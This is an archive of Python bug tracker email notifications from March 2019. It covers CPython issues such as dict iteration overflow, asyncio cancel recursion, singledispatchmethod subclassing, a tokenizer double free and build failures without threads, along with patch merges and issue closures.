Date: Wed, 27 Mar 2019 23:41:18 +0000
Subject: [issue36452] Detect dict iteration "overflow" when changing keys
Message-ID: <1553730078.06.0.0762712838657.issue36452@roundup.psfhosted.org>


New submission from Thomas Perl <th.perl at gmail.com>:

Using: Python 3.8 (git commit ID: d5a5a33f12b60129d57f9b423b77d2fcba506834), the following code snippet:

=====
a = {0: 0}

for i in a:
    del a[i]
    a[i+1] = 0
    print(i)
=====

Prints the following output:

=====
0
1
2
3
4
=====

The reason for this seems to be the way the internal key list is managed and the "next" value in this list is retrieved. The amount of items seems to be related to USABLE_FRACTION(PyDict_MINSIZE).

Since cases where the dictionary size changes are detected with a RuntimeError, I would expect the invariant to be "the number of iterations is the len() of the dict at the time the iterator is created to be enforced. Whether to raise a StopIteration instead or raising a RuntimeError is up for debate.

Attached is a patch that tries to detect this corner case and raise a RuntimeError instead (plus a unit test).

Note also that without the patch, the __length_hint__() of the iterator actually underflows:

=====
a = {0: 0}
it = iter(a)
print('Length hint:', it.__length_hint__())
next(it)
print('Length hint:', it.__length_hint__())
del a[0]
a[1] = 0
next(it)
print('Length hint:', it.__length_hint__())
=====

----------
files: 0001-dictiterobject-Track-maximum-iteration-count-via-di-.patch
keywords: patch
messages: 338997
nosy: thomas.perl
priority: normal
severity: normal
status: open
title: Detect dict iteration "overflow" when changing keys
type: behavior
versions: Python 3.8
Added file: https://bugs.python.org/file48234/0001-dictiterobject-Track-maximum-iteration-count-via-di-.patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36452>
_______________________________________

From report at bugs.python.org  Wed Mar 27 19:45:40 2019
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 27 Mar 2019 23:45:40 +0000
Subject: [issue36452] Detect dict iteration "overflow" when changing keys
In-Reply-To: <1553730078.06.0.0762712838657.issue36452@roundup.psfhosted.org>
Message-ID: <1553730340.55.0.646737735866.issue36452@roundup.psfhosted.org>


Change by Roundup Robot <devnull at psf.upfronthosting.co.za>:


----------
pull_requests: +12539
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36452>
_______________________________________

From report at bugs.python.org  Wed Mar 27 19:51:33 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 27 Mar 2019 23:51:33 +0000
Subject: [issue36452] Detect dict iteration "overflow" when changing keys
In-Reply-To: <1553730078.06.0.0762712838657.issue36452@roundup.psfhosted.org>
Message-ID: <1553730693.0.0.488268647982.issue36452@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +inada.naoki, rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36452>
_______________________________________

From report at bugs.python.org  Wed Mar 27 19:54:54 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 27 Mar 2019 23:54:54 +0000
Subject: [issue36448] Message "You will need to rebuild pythoncore to see the
 changes" should mention "make regen-all"
In-Reply-To: <1553685661.75.0.808746958355.issue36448@roundup.psfhosted.org>
Message-ID: <1553730894.5.0.897547815777.issue36448@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

> For some reason, the Travis CI build on https://github.com/python/cpython/pull/12582 isn't actually starting. It says "Waiting for status to be reported" but I pushed 10 hours ago.

Travis CI had some problem with linux builds

https://www.traviscistatus.com

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36448>
_______________________________________

From report at bugs.python.org  Wed Mar 27 20:01:33 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 28 Mar 2019 00:01:33 +0000
Subject: [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
In-Reply-To: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>
Message-ID: <1553731293.43.0.498447691439.issue36245@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 1ff04dcadfb57a8a8f61a6ea93292e8ae96dca4a by Miss Islington (bot) in branch '3.7':
bpo-36245: Fix more empty environment variable checks (GH-12592)
https://github.com/python/cpython/commit/1ff04dcadfb57a8a8f61a6ea93292e8ae96dca4a


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Wed Mar 27 20:11:08 2019
From: report at bugs.python.org (Windson Yang)
Date: Thu, 28 Mar 2019 00:11:08 +0000
Subject: [issue36453] get_importer only return the first valid
 path_hook(importer)
Message-ID: <1553731868.7.0.689003457524.issue36453@roundup.psfhosted.org>


New submission from Windson Yang <wiwindson at outlook.com>:

Is it an expected behavior the get_importer function only returns the first valid path_hook(importer) from sys.path_hooks?

def get_importer(path_item):
    """Retrieve a finder for the given path item

    The returned finder is cached in sys.path_importer_cache
    if it was newly created by a path hook.

    The cache (or part of it) can be cleared manually if a
    rescan of sys.path_hooks is necessary.
    """
    try:
        importer = sys.path_importer_cache[path_item]
    except KeyError:
        for path_hook in sys.path_hooks:
            try:
                importer = path_hook(path_item)
                sys.path_importer_cache.setdefault(path_item, importer)
                break
            except ImportError:
                pass
        else:
            importer = None
    return importer

Does the order in sys.path_hooks matters? We should document it if it does. Btw get_importer function is lack of test.

----------
components: Library (Lib)
messages: 339000
nosy: Windson Yang
priority: normal
severity: normal
status: open
title: get_importer only return the first valid path_hook(importer)
type: behavior
versions: Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36453>
_______________________________________

From report at bugs.python.org  Wed Mar 27 20:47:58 2019
From: report at bugs.python.org (Ned Deily)
Date: Thu, 28 Mar 2019 00:47:58 +0000
Subject: [issue36451] Docs zh-cn roots error in nav bar
In-Reply-To: <1553728016.97.0.58667749867.issue36451@roundup.psfhosted.org>
Message-ID: <1553734078.47.0.670301137015.issue36451@roundup.psfhosted.org>


Change by Ned Deily <nad at python.org>:


----------
assignee:  -> mdk
components: +Documentation

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36451>
_______________________________________

From report at bugs.python.org  Wed Mar 27 21:44:57 2019
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 28 Mar 2019 01:44:57 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553737497.36.0.365156525302.issue36085@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

> There are no specific "import" tests, because it's such a pain to set 
> those up (I need to delete files from the build directory during the 
> test, and if other tests have already used them that will fail, or I 
> need to copy the Python install elsewhere so it doesn't pick those
> up). 

Instead of copying the whole install, you should be able to symlink the core binaries (e.g. python.exe, python38.dll, python3.dll, vcruntime140.dll) to a temporary directory and set PYTHONHOME. Most (or at least some) of the build bots should be set up to grant the symlink privilege to the current user or all standard users, and %TEMP% should be on an NTFS/ReFS volume that supports reparse points.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Wed Mar 27 21:54:53 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 28 Mar 2019 01:54:53 +0000
Subject: [issue36454] test_time: test_monotonic() failed on AMD64 FreeBSD
 10-STABLE Non-Debug 3.7
Message-ID: <1553738093.66.0.485436393765.issue36454@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

AMD64 FreeBSD 10-STABLE Non-Debug 3.7:
https://buildbot.python.org/all/#/builders/170/builds/354

======================================================================
FAIL: test_monotonic (test.test_time.TimeTestCase)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/buildbot/python/3.7.koobs-freebsd10.nondebug/build/Lib/test/test_time.py", line 474, in test_monotonic
    self.assertTrue(0.45 <= dt <= 1.0, dt)
AssertionError: False is not true : 1.0372954378835857

Extract of the test:

    def test_monotonic(self):
        ...

        # monotonic() includes time elapsed during a sleep
        t1 = time.monotonic()
        time.sleep(0.5)
        t2 = time.monotonic()
        dt = t2 - t1
        self.assertGreater(t2, t1)
        # Issue #20101: On some Windows machines, dt may be slightly low
        self.assertTrue(0.45 <= dt <= 1.0, dt)

        ...

IMHO the test is too strict. It should not test the maximum value of dt, only the minimum.

----------
components: Tests
messages: 339002
nosy: vstinner
priority: normal
severity: normal
status: open
title: test_time: test_monotonic() failed on AMD64 FreeBSD 10-STABLE Non-Debug 3.7
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36454>
_______________________________________

From report at bugs.python.org  Wed Mar 27 22:40:42 2019
From: report at bugs.python.org (James Edwards)
Date: Thu, 28 Mar 2019 02:40:42 +0000
Subject: [issue36455] collections.abc.Sequence doesn't support
 reflection/introspection
Message-ID: <1553740842.38.0.441898568042.issue36455@roundup.psfhosted.org>


New submission from James Edwards <jheiv at jheiv.com>:

Consider:

    from collections.abc import *

    class DefinitelyNotAList:
        def __init__(self, backer):
            self.backer = backer

        def __getitem__(self, key):
            return self.backer[key]

        def __len__(self):
            return len(self.backer)

        def __contains__(self, needle):
            return needle in self.backer

        def __reversed__(self):
            return reversed(self.backer)

        def __iter__(self):
            return list.__iter__(self.backer)

        def index(self, *args, **kwargs): return self.backer.index(*args, **kwargs)

        def count(self, *args, **kwargs): return self.backer.count(*args, **kwargs)


    dnal = DefinitelyNotAList([2,4,6,8])

    for abc in [Collection, Reversible, Sized, Iterable, Container, Sequence]:
        print(abc.__name__.ljust(12), isinstance(dnal, abc))


Which prints:

    Collection   True
    Reversible   True
    Sized        True
    Iterable     True
    Container    True
    Sequence     False

I'm not sure whether this is a bug, a docs bug, or just a misunderstanding but my expectation, is that, somehow, I could get isinstance(obj, Sequence) to return *without* explicitly registering it, just as True is returned for the other abcs.

----------
components: Library (Lib)
messages: 339003
nosy: jedwards
priority: normal
severity: normal
status: open
title: collections.abc.Sequence doesn't support reflection/introspection
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36455>
_______________________________________

From report at bugs.python.org  Wed Mar 27 22:44:21 2019
From: report at bugs.python.org (James Edwards)
Date: Thu, 28 Mar 2019 02:44:21 +0000
Subject: [issue36455] collections.abc.Sequence doesn't support
 reflection/introspection
In-Reply-To: <1553740842.38.0.441898568042.issue36455@roundup.psfhosted.org>
Message-ID: <1553741061.73.0.979300149502.issue36455@roundup.psfhosted.org>


James Edwards <jheiv at jheiv.com> added the comment:

This was tagged as 3.7, but the issue still exists AFAICT in the latest github master: https://github.com/python/cpython/blob/master/Lib/_collections_abc.py

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36455>
_______________________________________

From report at bugs.python.org  Wed Mar 27 22:48:51 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Thu, 28 Mar 2019 02:48:51 +0000
Subject: [issue36455] collections.abc.Sequence doesn't support
 reflection/introspection
In-Reply-To: <1553740842.38.0.441898568042.issue36455@roundup.psfhosted.org>
Message-ID: <1553741331.66.0.931452703803.issue36455@roundup.psfhosted.org>


Josh Rosenberg <shadowranger+python at gmail.com> added the comment:

This is an exact duplicate of #35190 - "collections.abc.Sequence cannot be used to test whether a class provides a particular interface (doc issue)"

----------
nosy: +josh.r
resolution:  -> duplicate
superseder:  -> collections.abc.Sequence cannot be used to test whether a class provides a particular interface (doc issue)

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36455>
_______________________________________

From report at bugs.python.org  Wed Mar 27 22:49:00 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Thu, 28 Mar 2019 02:49:00 +0000
Subject: [issue36455] collections.abc.Sequence doesn't support
 reflection/introspection
In-Reply-To: <1553740842.38.0.441898568042.issue36455@roundup.psfhosted.org>
Message-ID: <1553741340.23.0.490117746876.issue36455@roundup.psfhosted.org>


Change by Josh Rosenberg <shadowranger+python at gmail.com>:


----------
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36455>
_______________________________________

From report at bugs.python.org  Wed Mar 27 22:52:54 2019
From: report at bugs.python.org (Dima Tisnek)
Date: Thu, 28 Mar 2019 02:52:54 +0000
Subject: [issue36456] task.cancel unbound recursion
Message-ID: <1553741574.55.0.426835875653.issue36456@roundup.psfhosted.org>


New submission from Dima Tisnek <dimaqq at gmail.com>:

Cancelling a deadlocked group of tasks results in MaximumRecursionError

Inspired by https://stackoverflow.com/questions/55341189/handling-asyncio-deadlocks

Given the following test-asyncio.py:

```
import asyncio


async def test():
    async def f():
        await g_task

    async def g():
        await f_task

    f_task = asyncio.create_task(f())
    g_task = asyncio.create_task(g())

    async def release():
        await asyncio.sleep(5)
        f_task.cancel()

    await asyncio.gather(f_task, g_task, release())

asyncio.run(test())
```

Results in:

```
Traceback (most recent call last):
  File ".../python3.8/asyncio/runners.py", line 43, in run
    return loop.run_until_complete(main)
  File ".../python3.8/asyncio/base_events.py", line 589, in run_until_complete
    return future.result()
  File "test-asyncio.py", line 18, in test
    await asyncio.gather(f_task, g_task, release())
  File "test-asyncio.py", line 16, in release
    f_task.cancel()
RecursionError: maximum recursion depth exceeded while calling a Python object

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "test-asyncio.py", line 20, in <module>
    asyncio.run(test())
  File ".../python3.8/asyncio/runners.py", line 46, in run
    _cancel_all_tasks(loop)
  File ".../python3.8/asyncio/runners.py", line 59, in _cancel_all_tasks
    task.cancel()
RecursionError: maximum recursion depth exceeded while calling a Python object
Exception in default exception handler
Traceback (most recent call last):
  File ".../python3.8/asyncio/base_events.py", line 1644, in call_exception_handler
    self.default_exception_handler(context)
  File ".../python3.8/asyncio/base_events.py", line 1615, in default_exception_handler
    value = repr(value)
  File ".../python3.8/asyncio/base_tasks.py", line 21, in _task_repr_info
    info.insert(3, f'wait_for={task._fut_waiter!r}')
  File ".../python3.8/asyncio/base_tasks.py", line 21, in _task_repr_info
    info.insert(3, f'wait_for={task._fut_waiter!r}')
  File ".../python3.8/asyncio/base_tasks.py", line 21, in _task_repr_info
    info.insert(3, f'wait_for={task._fut_waiter!r}')
  [Previous line repeated 326 more times]
  File ".../python3.8/asyncio/base_tasks.py", line 9, in _task_repr_info
    info = base_futures._future_repr_info(task)
  File ".../python3.8/asyncio/base_futures.py", line 57, in _future_repr_info
    info.append(_format_callbacks(future._callbacks))
  File ".../python3.8/asyncio/base_futures.py", line 36, in _format_callbacks
    cb = '{}, {}'.format(format_cb(cb[0][0]), format_cb(cb[1][0]))
  File ".../python3.8/asyncio/base_futures.py", line 31, in format_cb
    return format_helpers._format_callback_source(callback, ())
  File ".../python3.8/asyncio/format_helpers.py", line 23, in _format_callback_source
    func_repr = _format_callback(func, args, None)
  File ".../python3.8/asyncio/format_helpers.py", line 56, in _format_callback
    func_repr += _format_args_and_kwargs(args, kwargs)
  File ".../python3.8/asyncio/format_helpers.py", line 41, in _format_args_and_kwargs
    return '({})'.format(', '.join(items))
RecursionError: maximum recursion depth exceeded while calling a Python object
Exception in default exception handler
Traceback (most recent call last):
  File ".../python3.8/asyncio/base_events.py", line 1644, in call_exception_handler
    self.default_exception_handler(context)
  File ".../python3.8/asyncio/base_events.py", line 1615, in default_exception_handler
    value = repr(value)
  File ".../python3.8/asyncio/base_tasks.py", line 21, in _task_repr_info
    info.insert(3, f'wait_for={task._fut_waiter!r}')
  File ".../python3.8/asyncio/base_tasks.py", line 21, in _task_repr_info
    info.insert(3, f'wait_for={task._fut_waiter!r}')
  File ".../python3.8/asyncio/base_tasks.py", line 21, in _task_repr_info
    info.insert(3, f'wait_for={task._fut_waiter!r}')
  [Previous line repeated 326 more times]
  File ".../python3.8/asyncio/base_tasks.py", line 9, in _task_repr_info
    info = base_futures._future_repr_info(task)
  File ".../python3.8/asyncio/base_futures.py", line 57, in _future_repr_info
    info.append(_format_callbacks(future._callbacks))
  File ".../python3.8/asyncio/base_futures.py", line 36, in _format_callbacks
    cb = '{}, {}'.format(format_cb(cb[0][0]), format_cb(cb[1][0]))
  File ".../python3.8/asyncio/base_futures.py", line 31, in format_cb
    return format_helpers._format_callback_source(callback, ())
  File ".../python3.8/asyncio/format_helpers.py", line 23, in _format_callback_source
    func_repr = _format_callback(func, args, None)
  File ".../python3.8/asyncio/format_helpers.py", line 56, in _format_callback
    func_repr += _format_args_and_kwargs(args, kwargs)
  File ".../python3.8/asyncio/format_helpers.py", line 41, in _format_args_and_kwargs
    return '({})'.format(', '.join(items))
RecursionError: maximum recursion depth exceeded while calling a Python object
```

----------
components: asyncio
messages: 339006
nosy: Dima.Tisnek, asvetlov, yselivanov
priority: normal
severity: normal
status: open
title: task.cancel unbound recursion
versions: Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36456>
_______________________________________

From report at bugs.python.org  Wed Mar 27 22:54:46 2019
From: report at bugs.python.org (James Edwards)
Date: Thu, 28 Mar 2019 02:54:46 +0000
Subject: [issue36455] collections.abc.Sequence doesn't support
 reflection/introspection
In-Reply-To: <1553740842.38.0.441898568042.issue36455@roundup.psfhosted.org>
Message-ID: <1553741686.34.0.293525999996.issue36455@roundup.psfhosted.org>


James Edwards <jheiv at jheiv.com> added the comment:

Edit conflict -- indeed -- self closing.

---

I should point out that this could be fixed with something like the following:

    @classmethod
    def __subclasshook__(cls, C):
        if cls is Sequence:
            return _check_methods(C, "__reversed__", "__iter__",
                                  "__len__", "__contains__", "__getitem__")
        return NotImplemented

But seeing as it's not the only abc that is without a subclass hook, I wanted to raise an issue before I submitted a complete PR implementing subclasshooks for the rest of the abcs that need them.

----------
nosy:  -josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36455>
_______________________________________

From report at bugs.python.org  Wed Mar 27 23:42:39 2019
From: report at bugs.python.org (Tim Mitchell)
Date: Thu, 28 Mar 2019 03:42:39 +0000
Subject: [issue36457] functools.singledispatchmethod interacts poorly with
 subclasses
Message-ID: <1553744559.32.0.207343635807.issue36457@roundup.psfhosted.org>


New submission from Tim Mitchell <tim.mitchell at seequent.com>:

The new functools.singledispatchmethod (issue32380) class interacts poorly with subclasses.
There is no way for a sub-class to override or extend the dispatch registry.
E.g.

class BaseVistor:
   @singledispatchmethod
   def visit(self, obj):
      raise ValueError('Explict vistor implementation missing)

class AVisitor(BaseVisitor):
   # problem: here we can only register against base class method
   @BaseVistor.visit.reister(int)
   def visit_int(self, obj):
       print ('integer')

The AVistor class has now changed the dispatch registry for BaseVistor class which is bad.

To fix this the dispatch registry needs to be copied for each subclass and an alternate register mechanism provided for subclasses to register against a subclass method.
See attached file and pypi methoddispatch for details :)

----------
components: Library (Lib)
files: methoddispatch36.py
messages: 339008
nosy: Tim Mitchell2, inada.naoki
priority: normal
severity: normal
status: open
title: functools.singledispatchmethod interacts poorly with subclasses
type: behavior
versions: Python 3.8
Added file: https://bugs.python.org/file48235/methoddispatch36.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36457>
_______________________________________

From report at bugs.python.org  Wed Mar 27 23:47:26 2019
From: report at bugs.python.org (patrik)
Date: Thu, 28 Mar 2019 03:47:26 +0000
Subject: [issue36458] Compile errors --without-threads
Message-ID: <1553744846.57.0.404081712878.issue36458@roundup.psfhosted.org>


New submission from patrik <patrik.haslum at anu.edu.au>:

Compiling python 3.6.8 configured with --without-threads (no other options) fails, with undefined references to PyGILState_GetThisThreadState in pylifecycle.c, and PyGILState_Ensure and PyGILState_Release in object.c.

I used Louis' fix from issue #24784 in pylifecycle.c, and placed #ifdef WITH_THREADS around the undefined calls in object.c (both in _PyObject_dump). With this, compiling works.

Installing then fails because Lib/threading.py attempts to import _thread, which is not available. This can be fixed by replacing the import with the pattern described in _dummy_thread:

try:
    import _thread
except ImportError:
    import _dummy_thread as _thread

import _thread happens in two places in threading.py (the second is "from _thread import stack_size"); both have to be rewritten as above.

There is also an unguarded import _thread in telnetlib, but it's inside a method def (mt_interact in class Telnet) so perhaps it does not cause installation to fail.

----------
components: Build
messages: 339009
nosy: patrik
priority: normal
severity: normal
status: open
title: Compile errors --without-threads
type: compile error
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36458>
_______________________________________

From report at bugs.python.org  Thu Mar 28 00:05:29 2019
From: report at bugs.python.org (Ned Deily)
Date: Thu, 28 Mar 2019 04:05:29 +0000
Subject: [issue36458] Compile errors --without-threads
In-Reply-To: <1553744846.57.0.404081712878.issue36458@roundup.psfhosted.org>
Message-ID: <1553745929.71.0.0617557301913.issue36458@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

Thanks for the report. Unfortunately, Python 3.6.8 was the last bugfix release of 3.6 so we now only accept and fix security-related issues for it.  I did a quick check and this does not appear to be a problem in 3.7.x but feel free to re-open the issue if it can be reproduced there.  Sorry!

https://devguide.python.org/#status-of-python-branches
https://devguide.python.org/devcycle/#security-branches

----------
nosy: +ned.deily
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36458>
_______________________________________

From report at bugs.python.org  Thu Mar 28 00:13:31 2019
From: report at bugs.python.org (Steven D'Aprano)
Date: Thu, 28 Mar 2019 04:13:31 +0000
Subject: [issue6422] timeit called from within Python should allow autoranging
In-Reply-To: <1553692698.95.0.391532875896.issue6422@roundup.psfhosted.org>
Message-ID: <20190328041326.GJ31406@ando.pearwood.info>


Steven D'Aprano <steve+python at pearwood.info> added the comment:

> Were you working on the additional functionality that you mentioned in 
> msg272704 or would that be open for someone else to do?  Thanks!

Please consider it open. I don't expect it to be difficult, it's just 
finding the Round Tuits. Perhaps an easy first issue for someone?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue6422>
_______________________________________

From report at bugs.python.org  Thu Mar 28 00:24:46 2019
From: report at bugs.python.org (patrik)
Date: Thu, 28 Mar 2019 04:24:46 +0000
Subject: [issue36458] Compile errors --without-threads
In-Reply-To: <1553744846.57.0.404081712878.issue36458@roundup.psfhosted.org>
Message-ID: <1553747086.78.0.918810513624.issue36458@roundup.psfhosted.org>


patrik <patrik.haslum at anu.edu.au> added the comment:

Not a problem. I wanted to record the issue just in case someone else encounters it, and also because there seems to have been a history of issues with the no-threads option. Happy to hear its sorted in 3.7.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36458>
_______________________________________

From report at bugs.python.org  Thu Mar 28 00:28:55 2019
From: report at bugs.python.org (Inada Naoki)
Date: Thu, 28 Mar 2019 04:28:55 +0000
Subject: [issue36457] functools.singledispatchmethod interacts poorly with
 subclasses
In-Reply-To: <1553744559.32.0.207343635807.issue36457@roundup.psfhosted.org>
Message-ID: <1553747335.6.0.901082443782.issue36457@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
nosy: +lukasz.langa

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36457>
_______________________________________

From report at bugs.python.org  Thu Mar 28 00:33:19 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Thu, 28 Mar 2019 04:33:19 +0000
Subject: [issue36459] A possible double PyMem_FREE() due to tokenizer.c's
 tok_nextc()
Message-ID: <1553747599.58.0.374930801661.issue36459@roundup.psfhosted.org>


New submission from Zackery Spytz <zspytz at gmail.com>:

Commit cb90c89de14aab636739b3e810cf949e47b54a0c added a PyMem_FREE(tok->buf) call in tok_nextc() if a PyMem_REALLOC() call fails. This will cause a double free when PyTokenizer_Free() is called on the tokenizer state.

----------
components: Interpreter Core
messages: 339013
nosy: ZackerySpytz
priority: normal
severity: normal
status: open
title: A possible double PyMem_FREE() due to tokenizer.c's tok_nextc()
type: crash
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36459>
_______________________________________

From report at bugs.python.org  Thu Mar 28 00:36:56 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Thu, 28 Mar 2019 04:36:56 +0000
Subject: [issue36459] A possible double PyMem_FREE() due to tokenizer.c's
 tok_nextc()
In-Reply-To: <1553747599.58.0.374930801661.issue36459@roundup.psfhosted.org>
Message-ID: <1553747816.53.0.226817218246.issue36459@roundup.psfhosted.org>


Change by Zackery Spytz <zspytz at gmail.com>:


----------
keywords: +patch
pull_requests: +12541
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36459>
_______________________________________

From report at bugs.python.org  Thu Mar 28 01:01:15 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Thu, 28 Mar 2019 05:01:15 +0000
Subject: [issue36459] A possible double PyMem_FREE() due to tokenizer.c's
 tok_nextc()
In-Reply-To: <1553747599.58.0.374930801661.issue36459@roundup.psfhosted.org>
Message-ID: <1553749275.18.0.946886550676.issue36459@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +pablogsal

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36459>
_______________________________________

From report at bugs.python.org  Thu Mar 28 02:03:27 2019
From: report at bugs.python.org (Inada Naoki)
Date: Thu, 28 Mar 2019 06:03:27 +0000
Subject: [issue36452] Detect dict iteration "overflow" when changing keys
In-Reply-To: <1553730078.06.0.0762712838657.issue36452@roundup.psfhosted.org>
Message-ID: <1553753007.45.0.0489808264315.issue36452@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:


New changeset 796cc6e3ad3617c1ea9e528663aac1a206230a28 by Inada Naoki (Thomas Perl) in branch 'master':
bpo-36452: dictiter: track maximum iteration count (GH-12596)
https://github.com/python/cpython/commit/796cc6e3ad3617c1ea9e528663aac1a206230a28


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36452>
_______________________________________

From report at bugs.python.org  Thu Mar 28 02:04:44 2019
From: report at bugs.python.org (Inada Naoki)
Date: Thu, 28 Mar 2019 06:04:44 +0000
Subject: [issue36452] Detect dict iteration "overflow" when changing keys
In-Reply-To: <1553730078.06.0.0762712838657.issue36452@roundup.psfhosted.org>
Message-ID: <1553753084.35.0.431457891508.issue36452@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

Thank you.  I like your patch.

----------
components: +Interpreter Core
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36452>
_______________________________________

From report at bugs.python.org  Thu Mar 28 02:18:08 2019
From: report at bugs.python.org (Inada Naoki)
Date: Thu, 28 Mar 2019 06:18:08 +0000
Subject: [issue34995] functools.cached_property does not maintain the wrapped
 method's __isabstractmethod__
In-Reply-To: <1539668705.97.0.788709270274.issue34995@psf.upfronthosting.co.za>
Message-ID: <1553753888.28.0.881200275645.issue34995@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
resolution:  -> rejected
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34995>
_______________________________________

From report at bugs.python.org  Thu Mar 28 02:55:54 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 28 Mar 2019 06:55:54 +0000
Subject: [issue35983] tp_dealloc trashcan shouldn't be called for subclasses
In-Reply-To: <1550055751.42.0.717332216151.issue35983@roundup.psfhosted.org>
Message-ID: <1553756154.02.0.220269851241.issue35983@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

In your example you can add

    PyTypeObject *tp = Py_TYPE(self);
    Py_TYPE(self) = &PyList_Type;
    if (PyType_GetFlags(tp) & Py_TPFLAGS_HEAPTYPE) {
        Py_DECREF(tp);
    }

before calling PyList_Type.tp_dealloc().

It is possible to add such code directly in PyList_Type.tp_dealloc and other deallocators that use the trashcan mechanism.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35983>
_______________________________________

From report at bugs.python.org  Thu Mar 28 04:27:52 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Thu, 28 Mar 2019 08:27:52 +0000
Subject: [issue31327] bug in dateutil\tz\tz.py
In-Reply-To: <1553727650.48.0.947190561019.issue31327@roundup.psfhosted.org>
Message-ID: <20190328082749.GB26095@xps>


St?phane Wirtel <stephane at wirtel.be> added the comment:

nosy: -matrixise

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31327>
_______________________________________

From report at bugs.python.org  Thu Mar 28 04:28:43 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Thu, 28 Mar 2019 08:28:43 +0000
Subject: [issue31327] bug in dateutil\tz\tz.py
In-Reply-To: <1553727650.48.0.947190561019.issue31327@roundup.psfhosted.org>
Message-ID: <20190328082840.GC26095@xps>


St?phane Wirtel <stephane at wirtel.be> added the comment:

----------
nosy: -matrixise

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31327>
_______________________________________

From report at bugs.python.org  Thu Mar 28 04:29:22 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Thu, 28 Mar 2019 08:29:22 +0000
Subject: [issue31327] bug in dateutil\tz\tz.py
In-Reply-To: <1504286649.82.0.482783873664.issue31327@psf.upfronthosting.co.za>
Message-ID: <1553761762.16.0.0713799007698.issue31327@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

sorry for the spam, I wanted to be removed from the noisy list via the mail gateway but my two tests did not work :/

----------

_______________________________________
Python tracker <report at bugs.python.org>
